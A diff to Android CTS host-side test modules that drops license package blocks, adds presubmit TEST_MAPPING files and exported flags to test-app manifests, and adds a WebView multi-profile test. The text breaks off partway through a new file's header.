diff --git a/hostsidetests/trustedvoice/Android.bp b/hostsidetests/trustedvoice/Android.bp
index faa94df..f20218c 100644
--- a/hostsidetests/trustedvoice/Android.bp
+++ b/hostsidetests/trustedvoice/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsTrustedVoiceHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/trustedvoice/TEST_MAPPING b/hostsidetests/trustedvoice/TEST_MAPPING
new file mode 100644
index 0000000..fb71ad2
--- /dev/null
+++ b/hostsidetests/trustedvoice/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsTrustedVoiceHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/trustedvoice/app/Android.bp b/hostsidetests/trustedvoice/app/Android.bp
index b8c7922..27ab221 100644
--- a/hostsidetests/trustedvoice/app/Android.bp
+++ b/hostsidetests/trustedvoice/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsTrustedVoiceApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/trustedvoice/app/AndroidManifest.xml b/hostsidetests/trustedvoice/app/AndroidManifest.xml
index f54af61..7a0d23c 100755
--- a/hostsidetests/trustedvoice/app/AndroidManifest.xml
+++ b/hostsidetests/trustedvoice/app/AndroidManifest.xml
@@ -16,18 +16,18 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.trustedvoice.app">
+     package="android.trustedvoice.app">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
     <application>
         <activity android:name=".TrustedVoiceActivity"
-                  android:turnScreenOn="true">
+             android:turnScreenOn="true"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
 </manifest>
-
diff --git a/hostsidetests/tv/Android.bp b/hostsidetests/tv/Android.bp
index ae72d26..7495491 100644
--- a/hostsidetests/tv/Android.bp
+++ b/hostsidetests/tv/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsHostsideTvTests",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/tv/TEST_MAPPING b/hostsidetests/tv/TEST_MAPPING
new file mode 100644
index 0000000..56367b9
--- /dev/null
+++ b/hostsidetests/tv/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsHostsideTvTests"
+    }
+  ]
+}
diff --git a/hostsidetests/tv/app/Android.bp b/hostsidetests/tv/app/Android.bp
index 5858fcf..e929820 100644
--- a/hostsidetests/tv/app/Android.bp
+++ b/hostsidetests/tv/app/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsHostsideTvInputApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/tv/app/AndroidManifest.xml b/hostsidetests/tv/app/AndroidManifest.xml
index bec7daa..09ac6a3 100644
--- a/hostsidetests/tv/app/AndroidManifest.xml
+++ b/hostsidetests/tv/app/AndroidManifest.xml
@@ -15,22 +15,22 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.tv.hostside">
+     package="com.android.cts.tv.hostside">
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
         <service android:name=".StubTvInputService"
-                 android:permission="android.permission.BIND_TV_INPUT">
+             android:permission="android.permission.BIND_TV_INPUT"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.media.tv.TvInputService"/>
             </intent-filter>
             <meta-data android:name="android.media.tv.input"
-                       android:resource="@xml/stub_tv_input_service" />
+                 android:resource="@xml/stub_tv_input_service"/>
         </service>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.tv.hostside" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.tv.hostside"/>
 
 </manifest>
diff --git a/hostsidetests/tv/app2/Android.bp b/hostsidetests/tv/app2/Android.bp
index a287acc..f8af26c 100644
--- a/hostsidetests/tv/app2/Android.bp
+++ b/hostsidetests/tv/app2/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsHostsideTvInputMonitor",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/tv/app2/AndroidManifest.xml b/hostsidetests/tv/app2/AndroidManifest.xml
index 5b0f7b6..66a6d1b 100644
--- a/hostsidetests/tv/app2/AndroidManifest.xml
+++ b/hostsidetests/tv/app2/AndroidManifest.xml
@@ -15,20 +15,20 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.tv.hostside.app2">
+     package="com.android.cts.tv.hostside.app2">
 
     <application>
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="com.android.cts.tv.hostside.app2.TvViewMonitorActivity" >
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="com.android.cts.tv.hostside.app2.TvViewMonitorActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.tv.hostside.app2" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.tv.hostside.app2"/>
 
 </manifest>
diff --git a/hostsidetests/tzdata/Android.bp b/hostsidetests/tzdata/Android.bp
index be847bd..75f5424 100644
--- a/hostsidetests/tzdata/Android.bp
+++ b/hostsidetests/tzdata/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsHostTzDataTests",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/tzdata/TEST_MAPPING b/hostsidetests/tzdata/TEST_MAPPING
new file mode 100644
index 0000000..cb259b1
--- /dev/null
+++ b/hostsidetests/tzdata/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsHostTzDataTests"
+    }
+  ]
+}
diff --git a/hostsidetests/ui/Android.mk b/hostsidetests/ui/Android.mk
index 096c33d..61bb6d3 100644
--- a/hostsidetests/ui/Android.mk
+++ b/hostsidetests/ui/Android.mk
@@ -21,8 +21,6 @@
 LOCAL_MODULE_TAGS := optional
 
 LOCAL_MODULE := CtsUiHostTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
 
 LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
 
diff --git a/hostsidetests/ui/appA/Android.bp b/hostsidetests/ui/appA/Android.bp
index 454c9cb..5497378 100644
--- a/hostsidetests/ui/appA/Android.bp
+++ b/hostsidetests/ui/appA/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsDeviceTaskSwitchingAppA",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/ui/appA/AndroidManifest.xml b/hostsidetests/ui/appA/AndroidManifest.xml
index 8d574d5..4d64df4 100644
--- a/hostsidetests/ui/appA/AndroidManifest.xml
+++ b/hostsidetests/ui/appA/AndroidManifest.xml
@@ -15,29 +15,29 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.taskswitching.appa"
-        android:targetSandboxVersion="2">
+     package="android.taskswitching.appa"
+     android:targetSandboxVersion="2">
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity
-            android:name=".AppAActivity"
-            android:screenOrientation="portrait" >
+        <activity android:name=".AppAActivity"
+             android:screenOrientation="portrait"
+             android:exported="true">
 
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="https" />
-                <data android:host="foo.com" />
-                <data android:path="/appa" />
+                <action android:name="android.intent.action.VIEW"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="https"/>
+                <data android:host="foo.com"/>
+                <data android:path="/appa"/>
             </intent-filter>
 
         </activity>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.taskswitching.appa" />
+         android:targetPackage="android.taskswitching.appa"/>
 
 </manifest>
diff --git a/hostsidetests/ui/appB/Android.bp b/hostsidetests/ui/appB/Android.bp
index 246bc55..255b3de 100644
--- a/hostsidetests/ui/appB/Android.bp
+++ b/hostsidetests/ui/appB/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsDeviceTaskSwitchingAppB",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/ui/appB/AndroidManifest.xml b/hostsidetests/ui/appB/AndroidManifest.xml
index 9b370c1..ca53ae4 100644
--- a/hostsidetests/ui/appB/AndroidManifest.xml
+++ b/hostsidetests/ui/appB/AndroidManifest.xml
@@ -15,32 +15,32 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.taskswitching.appb"
-        android:targetSandboxVersion="2">
+     package="android.taskswitching.appb"
+     android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity
-            android:name=".AppBActivity"
-            android:configChanges="keyboard|keyboardHidden|orientation|screenSize|uiMode"
-            android:screenOrientation="portrait" >
+        <activity android:name=".AppBActivity"
+             android:configChanges="keyboard|keyboardHidden|orientation|screenSize|uiMode"
+             android:screenOrientation="portrait"
+             android:exported="true">
 
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="https" />
-                <data android:host="foo.com" />
-                <data android:path="/appb" />
+                <action android:name="android.intent.action.VIEW"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="https"/>
+                <data android:host="foo.com"/>
+                <data android:path="/appb"/>
             </intent-filter>
 
         </activity>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.taskswitching.appb" />
+         android:targetPackage="android.taskswitching.appb"/>
 
 </manifest>
diff --git a/hostsidetests/ui/control/Android.bp b/hostsidetests/ui/control/Android.bp
index 5a7697e..96d16ce 100644
--- a/hostsidetests/ui/control/Android.bp
+++ b/hostsidetests/ui/control/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsDeviceTaskSwitchingControl",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/usage/Android.bp b/hostsidetests/usage/Android.bp
index bd5f0fd..a10adfd 100644
--- a/hostsidetests/usage/Android.bp
+++ b/hostsidetests/usage/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsAppUsageHostTestCases",
     defaults: ["cts_defaults"],
@@ -29,5 +25,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/usage/AndroidTest.xml b/hostsidetests/usage/AndroidTest.xml
index 5c9b845..a29a7b2 100644
--- a/hostsidetests/usage/AndroidTest.xml
+++ b/hostsidetests/usage/AndroidTest.xml
@@ -28,4 +28,9 @@
         <option name="jar" value="CtsAppUsageHostTestCases.jar" />
         <option name="runtime-hint" value="2m" />
     </test>
+
+    <object type="module_controller"
+            class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+        <option name="mainline-module-package-name" value="android.scheduling"/>
+    </object>
 </configuration>
diff --git a/hostsidetests/usage/TEST_MAPPING b/hostsidetests/usage/TEST_MAPPING
new file mode 100644
index 0000000..6d04088
--- /dev/null
+++ b/hostsidetests/usage/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAppUsageHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/usage/app/Android.bp b/hostsidetests/usage/app/Android.bp
index ee3eab7..55fd413 100644
--- a/hostsidetests/usage/app/Android.bp
+++ b/hostsidetests/usage/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppUsageTestApp",
     defaults: ["cts_support_defaults"],
@@ -25,6 +21,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
 
@@ -39,6 +36,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     aaptflags: [
         "--rename-manifest-package",
diff --git a/hostsidetests/usage/app/AndroidManifest.xml b/hostsidetests/usage/app/AndroidManifest.xml
index 303c26f..2541659 100755
--- a/hostsidetests/usage/app/AndroidManifest.xml
+++ b/hostsidetests/usage/app/AndroidManifest.xml
@@ -16,15 +16,15 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.app.usage.app">
+     package="android.app.usage.app">
 
     <application>
-        <activity android:name="android.app.usage.app.TestActivity">
+        <activity android:name="android.app.usage.app.TestActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
     </application>
 </manifest>
-
diff --git a/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java b/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java
index b3485d1..5978f34 100644
--- a/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java
+++ b/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java
@@ -32,8 +32,6 @@
 
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class AppIdleHostTest extends BaseHostJUnit4Test {
-    private static final String SETTINGS_APP_IDLE_CONSTANTS = "app_idle_constants";
-
     private static final String TEST_APP_PACKAGE = "android.app.usage.app";
     private static final String TEST_APP_CLASS = "TestActivity";
     private static final String TEST_APP_PACKAGE2 = "android.app.usage.apptoo";
@@ -67,26 +65,6 @@
     }
 
     /**
-     * Set the app idle settings.
-     * @param settingsStr The settings string, a comma separated key=value list.
-     * @throws DeviceNotAvailableException
-     */
-    private void setAppIdleSettings(String settingsStr) throws DeviceNotAvailableException {
-        mDevice.executeShellCommand(String.format("settings put global %s \"%s\"",
-                SETTINGS_APP_IDLE_CONSTANTS, settingsStr));
-    }
-
-    /**
-     * Get the current app idle settings.
-     * @throws DeviceNotAvailableException
-     */
-    private String getAppIdleSettings() throws DeviceNotAvailableException {
-        String result = mDevice.executeShellCommand(String.format("settings get global %s",
-                SETTINGS_APP_IDLE_CONSTANTS));
-        return result.trim();
-    }
-
-    /**
      * Launch the test app for a few hundred milliseconds then launch home.
      * @throws DeviceNotAvailableException
      */
@@ -109,15 +87,8 @@
      */
     @Test
     public void testAppIsNotIdleAfterBeingLaunched() throws Exception {
-        final String previousState = getAppIdleSettings();
-        try {
-            // Set the app idle time to something large.
-            setAppIdleSettings("idle_duration=10000,wallclock_threshold=10000");
-            startAndStopTestApp();
-            assertFalse(isAppIdle(TEST_APP_PACKAGE));
-        } finally {
-            setAppIdleSettings(previousState);
-        }
+        startAndStopTestApp();
+        assertFalse(isAppIdle(TEST_APP_PACKAGE));
     }
 
     private void setAppStandbyBucket(String packageName, int bucket) throws Exception {
diff --git a/hostsidetests/usb/Android.bp b/hostsidetests/usb/Android.bp
index d0b7ecc..1bd848b 100644
--- a/hostsidetests/usb/Android.bp
+++ b/hostsidetests/usb/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsUsbTests",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/usb/SerialTestApp/Android.bp b/hostsidetests/usb/SerialTestApp/Android.bp
index 8a6ba9c..2c4a864 100644
--- a/hostsidetests/usb/SerialTestApp/Android.bp
+++ b/hostsidetests/usb/SerialTestApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsUsbSerialTestApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/usb/TEST_MAPPING b/hostsidetests/usb/TEST_MAPPING
new file mode 100644
index 0000000..502f1e8
--- /dev/null
+++ b/hostsidetests/usb/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsUsbTests"
+    }
+  ]
+}
diff --git a/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java b/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
index 01b5d88..3b81acb 100644
--- a/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
+++ b/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
@@ -145,8 +145,8 @@
                 trim();
         assertEquals("adb serial != ro.serialno" , adbSerial, roSerial);
 
-        CommandResult result = RunUtil.getDefault().runTimedCmd(5000, "lsusb", "-v");
-        assertTrue("lsusb -v failed", result.getStatus() == CommandStatus.SUCCESS);
+        CommandResult result = RunUtil.getDefault().runTimedCmd(15000, "lsusb", "-v");
+        assertEquals("lsusb -v failed", result.getStatus(), CommandStatus.SUCCESS);
         String lsusbOutput = result.getStdout();
         Pattern pattern = Pattern.compile("^\\s+iSerial\\s+\\d+\\s+([a-zA-Z0-9]{6,20})",
                 Pattern.MULTILINE);
diff --git a/hostsidetests/userspacereboot/Android.bp b/hostsidetests/userspacereboot/Android.bp
index f64c740..ba0715d 100644
--- a/hostsidetests/userspacereboot/Android.bp
+++ b/hostsidetests/userspacereboot/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsUserspaceRebootHostSideTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/userspacereboot/testapps/BasicTestApp/Android.bp b/hostsidetests/userspacereboot/testapps/BasicTestApp/Android.bp
index df1baed..8e5ee60 100644
--- a/hostsidetests/userspacereboot/testapps/BasicTestApp/Android.bp
+++ b/hostsidetests/userspacereboot/testapps/BasicTestApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "BasicUserspaceRebootTestApp",
     srcs:  ["src/**/*.java"],
diff --git a/hostsidetests/userspacereboot/testapps/BasicTestApp/AndroidManifest.xml b/hostsidetests/userspacereboot/testapps/BasicTestApp/AndroidManifest.xml
index 97ffde6..348a462 100644
--- a/hostsidetests/userspacereboot/testapps/BasicTestApp/AndroidManifest.xml
+++ b/hostsidetests/userspacereboot/testapps/BasicTestApp/AndroidManifest.xml
@@ -16,33 +16,34 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.cts.userspacereboot.basic" >
+     package="com.android.cts.userspacereboot.basic">
 
-    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
+    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
     <application>
-        <activity android:name=".LauncherActivity">
+        <activity android:name=".LauncherActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
         <receiver android:name=".BasicUserspaceRebootTest$BootReceiver"
-                  android:exported="true"
-                  android:directBootAware="true">
+             android:exported="true"
+             android:directBootAware="true">
             <intent-filter>
-                <action android:name="android.intent.action.BOOT_COMPLETED" />
-                <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED" />
+                <action android:name="android.intent.action.BOOT_COMPLETED"/>
+                <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED"/>
             </intent-filter>
         </receiver>
         <provider android:name=".BasicUserspaceRebootTest$Provider"
-                  android:authorities="com.android.cts.userspacereboot.basic"
-                  android:exported="true"
-                  android:directBootAware="true">
+             android:authorities="com.android.cts.userspacereboot.basic"
+             android:exported="true"
+             android:directBootAware="true">
         </provider>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.userspacereboot.basic"
-                     android:label="Basic userspace reboot device side tests"/>
+         android:targetPackage="com.android.cts.userspacereboot.basic"
+         android:label="Basic userspace reboot device side tests"/>
 </manifest>
diff --git a/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/Android.bp b/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/Android.bp
index 24952d7..0b8c0c3 100644
--- a/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/Android.bp
+++ b/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "BootCompletedUserspaceRebootTestApp",
     srcs:  ["src/**/*.java"],
@@ -28,6 +24,6 @@
         "truth-prebuilt",
     ],
     min_sdk_version: "29",
-    sdk_version: "29",
+    sdk_version: "30",
     target_sdk_version: "29",
 }
diff --git a/hostsidetests/utils/Android.bp b/hostsidetests/utils/Android.bp
index a40ba4f..0930f91 100644
--- a/hostsidetests/utils/Android.bp
+++ b/hostsidetests/utils/Android.bp
@@ -14,10 +14,6 @@
  * limitations under the License.
  */
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library_host {
     name: "cts-host-utils",
     srcs: [
diff --git a/hostsidetests/webkit/Android.bp b/hostsidetests/webkit/Android.bp
index c76c2d1..53fadbd 100644
--- a/hostsidetests/webkit/Android.bp
+++ b/hostsidetests/webkit/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsHostsideWebViewTests",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/webkit/TEST_MAPPING b/hostsidetests/webkit/TEST_MAPPING
new file mode 100644
index 0000000..fcd8ab5
--- /dev/null
+++ b/hostsidetests/webkit/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsHostsideWebViewTests"
+    }
+  ]
+}
diff --git a/hostsidetests/webkit/app/Android.bp b/hostsidetests/webkit/app/Android.bp
index a418339..90656ad 100644
--- a/hostsidetests/webkit/app/Android.bp
+++ b/hostsidetests/webkit/app/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsWebViewStartupApp",
     defaults: ["cts_support_defaults"],
@@ -28,6 +24,7 @@
         "ctsdeviceutillegacy-axt",
         "ctstestserver",
         "ctstestrunner-axt",
+        "androidx.test.core",
     ],
     libs: [
         "android.test.runner",
diff --git a/hostsidetests/webkit/app/AndroidManifest.xml b/hostsidetests/webkit/app/AndroidManifest.xml
index b7b17db..2e3ead5 100644
--- a/hostsidetests/webkit/app/AndroidManifest.xml
+++ b/hostsidetests/webkit/app/AndroidManifest.xml
@@ -15,30 +15,30 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.webkit" android:targetSandboxVersion="2">
+     package="com.android.cts.webkit"
+     android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.INTERNET" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
 
-    <application
-      android:maxRecents="1"
-      android:usesCleartextTraffic="true" >
-        <uses-library android:name="org.apache.http.legacy" />
-        <uses-library android:name="android.test.runner" />
+    <application android:maxRecents="1"
+         android:usesCleartextTraffic="true">
+        <uses-library android:name="org.apache.http.legacy"/>
+        <uses-library android:name="android.test.runner"/>
         <activity android:name=".WebViewStartupCtsActivity"
-            android:label="WebViewStartupCtsActivity"
-            android:screenOrientation="nosensor">
+             android:label="WebViewStartupCtsActivity"
+             android:screenOrientation="nosensor"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
     </application>
 
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.webkit"/>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.webkit"/>
 
 </manifest>
diff --git a/hostsidetests/webkit/app/src/com/android/cts/webkit/WebViewDeviceSideMultipleProfileTest.java b/hostsidetests/webkit/app/src/com/android/cts/webkit/WebViewDeviceSideMultipleProfileTest.java
new file mode 100644
index 0000000..f5e1775
--- /dev/null
+++ b/hostsidetests/webkit/app/src/com/android/cts/webkit/WebViewDeviceSideMultipleProfileTest.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.webkit;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.util.Log;
+import android.webkit.WebView;
+import android.webkit.cts.WebViewSyncLoader;
+
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.ext.junit.rules.ActivityScenarioRule;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+import java.io.IOException;
+
+public class WebViewDeviceSideMultipleProfileTest {
+    // Profile owner component.
+    public static class BasicAdminReceiver extends DeviceAdminReceiver {}
+
+    @Rule
+    public ActivityScenarioRule<WebViewStartupCtsActivity> mActivityRule =
+            new ActivityScenarioRule<>(WebViewStartupCtsActivity.class);
+
+    private WebViewStartupCtsActivity mActivity;
+
+    @Before
+    public void setUp() {
+        mActivityRule.getScenario().onActivity(activity -> {
+            mActivity = activity;
+        });
+    }
+
+    @Test
+    @UiThreadTest
+    public void testCreateWebViewAndNavigate() {
+        mActivity.createAndAttachWebView();
+        WebView webView = mActivity.getWebView();
+        Assert.assertNotNull(webView);
+
+        WebViewSyncLoader syncLoader = new WebViewSyncLoader(webView);
+        syncLoader.loadUrlAndWaitForCompletion("about:blank");
+        syncLoader.detach();
+    }
+
+
+}
diff --git a/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideMultipleProfileTest.java b/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideMultipleProfileTest.java
new file mode 100644
index 0000000..3db5d5b
--- /dev/null
+++ b/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideMultipleProfileTest.java
@@ -0,0 +1,186 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
